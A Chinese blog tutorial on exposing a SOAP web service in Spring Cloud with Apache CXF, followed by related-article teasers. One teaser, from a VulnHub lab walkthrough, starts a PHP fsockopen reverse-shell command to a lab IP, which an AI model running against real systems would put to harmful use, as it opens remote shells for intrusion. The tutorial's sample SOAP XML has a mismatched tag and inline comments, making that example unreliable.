java springcloud中发布webservice 接口

java springcloud中发布webservice 接口

一、在pom文件中添加依赖:

<!--webservice-->
        <dependency>
            <groupId>javax.xml.bind</groupId>
            <artifactId>jaxb-api</artifactId>
            <version>2.3.0</version>
        </dependency>
        <dependency>
            <groupId>com.sun.xml.bind</groupId>
            <artifactId>jaxb-impl</artifactId>
            <version>2.3.0</version>
        </dependency>
        <dependency>
            <groupId>com.sun.xml.bind</groupId>
            <artifactId>jaxb-core</artifactId>
            <version>2.3.0.1</version>
        </dependency>
        <dependency>
            <groupId>javax.activation</groupId>
            <artifactId>activation</artifactId>
            <version>1.1.1</version>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web-services</artifactId>
        </dependency>

        <dependency>
            <groupId>org.apache.cxf</groupId>
            <artifactId>cxf-spring-boot-starter-jaxws</artifactId>
            <version>3.3.4</version>
        </dependency>
        <dependency>
            <groupId>org.apache.cxf</groupId>
            <artifactId>cxf-rt-transports-http</artifactId>
            <version>3.2.2</version>
        </dependency>
        <dependency>
            <groupId>org.codehaus.woodstox</groupId>
            <artifactId>stax2-api</artifactId>
            <version>4.1</version>
        </dependency>
        <dependency>
            <groupId>org.codehaus.woodstox</groupId>
            <artifactId>woodstox-core-asl</artifactId>
            <version>4.4.1</version>
        </dependency>
        <!-- 这个主要是client访问的,但是问题多多-->
        <dependency>
            <groupId>org.apache.axis</groupId>
            <artifactId>axis</artifactId>
            <version>1.4</version>
        </dependency>

        <dependency>
            <groupId>axis</groupId>
            <artifactId>axis-jaxrpc</artifactId>
            <version>1.4</version>
        </dependency>

        <dependency>
            <groupId>commons-discovery</groupId>
            <artifactId>commons-discovery</artifactId>
            <version>0.2</version>
        </dependency>
        <dependency>
            <groupId>wsdl4j</groupId>
            <artifactId>wsdl4j</artifactId>
            <version>1.6.3</version>
        </dependency>

二、添加配置类

package com.flow.mongodb.wsconfig;

import com.flow.mongodb.service.WbceshijkService;
import org.apache.cxf.Bus;
import org.apache.cxf.jaxws.EndpointImpl;
import org.apache.cxf.transport.servlet.CXFServlet;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.web.servlet.ServletRegistrationBean;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;

import javax.xml.ws.Endpoint;

/**
 * @author :wcb
 * @date :Created in 2024/1/18
 * 文件说明: </p>
 */
@Configuration
public class CxfConfig {

    @Autowired
    private Bus bus;
	//接口调用
    @Autowired
    private WbceshijkService busBuildService;

    @Bean
    public ServletRegistrationBean disServlet() {
    	//发布服务的地址路径
        return new ServletRegistrationBean(new CXFServlet(), "/ResWebservice/services/*");
    }

    @Bean
    public Endpoint buildOrderEndpoint() {
        EndpointImpl endpoint = new EndpointImpl(bus, busBuildService);
        endpoint.publish("/BusBuildService");
        return endpoint;
    }
}

三、新增接口

package com.flow.mongodb.service;


import javax.jws.WebMethod;
import javax.jws.WebParam;
import javax.jws.WebService;

/**
 * webservice的接口文件
 * 以下是需要被调用的接口,参数
 */
@WebService(name = "WbceshijkService", targetNamespace = "http://server.webservice.jk.com")
public interface WbceshijkService {
	//jkService方法
    @WebMethod
    String jkService(@WebParam(name = "data") String data,@WebParam(name = "data2") String data2);
    //新增jkService方法
    @WebMethod
    String addNe(@WebParam(name="param") String param);
}

四、接口实现类(空间targetNamespace 和接口需保持一致)

package com.flow.mongodb.service.impl;

import com.flow.mongodb.service.WbceshijkService;
import lombok.extern.slf4j.Slf4j;
import org.springframework.stereotype.Component;

import javax.jws.WebService;
@Slf4j
@Component
@WebService( targetNamespace = "http://server.webservice.jk.com",
        name = "WbceshijkService")
public class WbceshijkServiceImpl implements WbceshijkService {
    @Override
    public String jkService(String data, String data2) {
        log.info("======emrService===111===="+data);
        log.info("======emrService==222====="+data2);
        return "操作成功";
    }
    @Override
    public String addNe(String param) {
        log.info("======student===111====\n"+param);
        return "操作成功";
    }
}

五、启动服务,访问接口

由于是在本地启动的,所以启动地址为127.0.0.1,
接口访问地址组成:IP+端口+配置类中写明的路径+?wsdl=

在这里插入图片描述

六、通过postman进行对接口调用以及参数说明

1. 访问的接口地址同上(http://127.0.0.1:10069/ResWebservice/services/BusBuildService?wsdl=)
2. 设置请求头参数:Content-Type:text/xml
3. 请求报文
<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:test="http://server.webservice.jk.com"> //代码中的目标空间地址
  <soapenv:Body>
    <test:addNe> //addNe 是代码中的方法名称
      <param>//param 为方法中的接收参数的字段名称
      <![CDATA[<?xml version="1.0" encoding="UTF-8"?><Data>
         <Params> //里面是具体的字段内容参数
           <name>张三</crm_order_id>
           <address>云南昆明西山区</address>
           <age>2000</age>
         </Params>
       </Data>]]>
       </param>
    </test:addNe>
  </soapenv:Body>
</soapenv:Envelope>
4.接口调用返回参数
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><ns2:addNeResponse xmlns:ns2="http://server.webservice.jk.com"><return>操作成功</return></ns2:addNeResponse></soap:Body></soap:Envelope>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/333497.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【JavaEE进阶】 依赖注⼊DI详解

文章目录 &#x1f334;什么是依赖注入&#x1f384;依赖注入的三种方法&#x1f6a9;属性注⼊(Field Injection)&#x1f6a9;构造⽅法注⼊&#x1f6a9;Setter注⼊&#x1f6a9;三种注⼊的优缺点 &#x1f333;Autowired存在的问题&#x1f332;解决Autowired存在的问题&…

经纬恒润4D成像毫米波雷达亮相 CES 2024

在刚刚结束的CES 2024上&#xff0c;经纬恒润联合以色列Arbe Robotics公司展出了基于Arbe芯片组方案的4D成像毫米波雷达LRR610。 经纬恒润自主研发的4D成像毫米波雷达LRR610&#xff0c;具备48发48收通道&#xff0c;在方位和俯仰向均具有高分辨能力&#xff0c;可以形成丰富的…

FPGA(基于xilinx)中PCIe介绍以及IP核XDMA的使用

Xilinx中PCIe简介以及IP核XDMA的使用 例如&#xff1a;第一章 PCIe简介以及IP核的使用 文章目录 Xilinx中PCIe简介以及IP核XDMA的使用一、PCIe总线概述1.PCIe 总线架构2.PCIe 不同版本的性能指标及带宽计算3.PCIe 接口信号 二、XDMA1.XDMA 与其它 PCIe IP 的区别2.XDMA简介 三…

【clickhouse】Array数组查询操作

文章目录 1 测试数据2 查询3 所用函数3.1 arrayExists3.2 coalesce 1 测试数据 // 建库 create database test;// 建表 CREATE TABLE test.test ( id String, tag1 Array(String), tag2 Array(Int32), updated DateTime ) ENGINE MergeTree ORDER BY id// 插入数据 insert in…

React配置src根目录@

文章目录 1.打开webpack配置文件2.配置webpack 1.打开webpack配置文件 yarn eject or npm run eject 如果报错了记得提前 git commit一下 2.配置webpack 找到 webpack.config.js 文件在 webpack.config.js 文件中找到 alias 配置在alias里添加: path.resolve(src) , 或者 : pa…

2019年认证杯SPSSPRO杯数学建模D题(第二阶段)5G时代引发的道路规划革命全过程文档及程序

2019年认证杯SPSSPRO杯数学建模 D题 5G时代引发的道路规划革命 原题再现&#xff1a; 忙着回家或上班的司机们都知道交通堵塞既浪费时间又浪费燃料&#xff0c;甚至有的时候会带来情绪上的巨大影响&#xff0c;引发一系列的交通问题。据报道&#xff0c;每年交通拥堵使得美国…

AGI即将出现,未来最重要的资源是算力和能源

丨划重点 ① 关于新模型的名字&#xff0c;奥特曼还没有明确的想法&#xff0c;但他称不喜欢像“iPhone 27”这样的命名方式。 ② 奥特曼认为AGI将在不久的将来出现&#xff0c;但对社会和工作的影响程度可能远低于预期。 ③ 奥特曼表示&#xff0c;尽管AI的潜力超过预期&#…

2024年最值得关注的跨境电商平台盘点,TikTok Shop或成最大趋势

时代的巨变在2023年尤其明显&#xff0c;这一年随着全球化进程的加深&#xff0c;跨境出海处于“高景气”阶段。为了在跨境出海浪潮中保有稳定的地位甚至获得增长&#xff0c;跨境人最需要关注的是哪个跨境电商平台成为大势&#xff0c;用户所选择的平台是什么&#xff1f;在跨…

100个实战项目——在树莓派4B+Ubuntu20.04桌面版配置下运行智能小车(一)

主机SSH远程链接从机 查看python版本 python 我的是python3.8 所以我需要安装pip3 sudo apt install python3-pip 接着安装程序需要的引脚库 sudo pip3 install RPi.GPIO 注意必须要有sudo&#xff0c;因为我是远程遥控的树莓派&#xff0c;没有权限运行程序&#xff0…

element plus 可选择树形组件(el-tree) 怎样一键展开/收起?实现方法详解

实现代码&#xff1a; 按钮&#xff1a; <el-button click"takeall" style"height: 24px">{{zhanstatus % 2 ! 0 ? "收起所有" : "展开所有"}} </el-button> 组件&#xff1a; <el-form-item label"可选择菜单…

【报错fatal: unable to access ‘https://github解决办法】

【报错fatal: unable to access ‘https://github解决办法】 方法一&#xff1a;修改host文件 把140.82.114.4 github.com添加到C:\Windows\System32\drivers\etc里的hosts文件的最后一行&#xff0c;然后保存就行 方法二&#xff1a;把命令行里的http改为git重新执行

vulnhub靶机Chill_Hack

下载地址&#xff1a;Chill Hack: 1 ~ VulnHub 主机发现 目标176 端口扫描 服务扫描 直接去看web 先扫一下 有几个有点问题 看着好像命令执行 看来没错直接反弹shell 还有还白名单&#xff1f; bash也不能用 那就用php吧 whoami|php -r $sockfsockopen("192.168.21.13…

回归预测 | Matlab实现GA-APSO-MBP、GA-MBP、MBP、BP多输入单输出回归预测

回归预测 | Matlab实现GA-APSO-MBP、GA-MBP、MBP、BP多输入单输出回归预测 目录 回归预测 | Matlab实现GA-APSO-MBP、GA-MBP、MBP、BP多输入单输出回归预测预测效果基本描述程序设计参考资料 预测效果 基本描述 1.Matlab实现GA-APSO-MBP、GA-MBP、MBP、BP多输入单输出回归预测&…

扫一扫计数的工具有哪些?分享3款实用的!

在数字化时代&#xff0c;扫描计数软件已经成为我们日常生活和工作中不可或缺的工具。无论是需要快速统计物品数量、识别文字还是测量长度&#xff0c;这些软件都能提供方便快捷的解决方案。本文将为您介绍3款实用的扫描计数软件&#xff0c;帮助您轻松解决各种计数难题&#x…

探索自适应学习在考试培训系统中的优势

近年来&#xff0c;随着互联网的普及和发展&#xff0c;自适应学习作为一种个性化、灵活的学习方式受到越来越多教育工作者的关注。在考试培训系统中引入自适应学习&#xff0c;可以为学生提供更加有效和高效的学习体验。 自适应学习可以根据学生个体的学习特点和水平&#xff…

QT-QML2048小游戏

QT-QML2048小游戏 一、演示效果二、关键程序三、下载链接 一、演示效果 二、关键程序 import QtQuick 2.2 import QtQuick.Controls 1.1 import QtQuick.Controls.Styles 1.1 import QtQuick.Dialogs 1.1 import QtQuick.Window 2.1 import "2048.js" as MyScriptAp…

三菱plc学习入门(创建属于自己的FB模块)

在现实生活中&#xff0c;往往会需要修改一些属于方便自己的库&#xff0c;1&#xff0c;自己创建的库方便自己使用与查看2&#xff0c;提高自己编程能力&#xff0c;3&#xff0c;保护自己的程序不被外人修改&#xff01;&#xff01;&#xff01;下面就让我来操作一下 导入需…

LLM之Agent(八)| 使用CrewAi、Solor/Hermes、Langchain和Ollama构建超级Agent

随着大模型技术的发展&#xff0c;AI Agent正在成为大模型游戏规则的改变者&#xff0c;它可以帮助用户分解任务、规划任务和执行任务&#xff0c;这就是CrewAI的独特之处。CrewAI是AutoGEN的顶级替代品&#xff0c;为您提供轻松组建人工智能Agent团队执行自动化任务的能力。 在…

vue3+vite创建项目--(傻瓜式教程)

1、运行创建项目命令 # 使用 npm npm create vitelatest # 使用 yarn yarn create vite # 使用 pnpm pnpm create vite剩下的就是启动以及一些配置信息 2、vitevue3路由配置信息 npm install vue-router4在src目录下新建目录叫“router”&#xff0c;新建一个js文件叫“index…

Redis--Geo指令的语法和使用场景举例(附近的人功能)

文章目录 前言Geo介绍Geo指令使用使用场景&#xff1a;附近的人参考文献 前言 Redis除了常见的五种数据类型之外&#xff0c;其实还有一些少见的数据结构&#xff0c;如Geo&#xff0c;HyperLogLog等。虽然它们少见&#xff0c;但是作用却不容小觑。本文将介绍Geo指令的语法和…
最新文章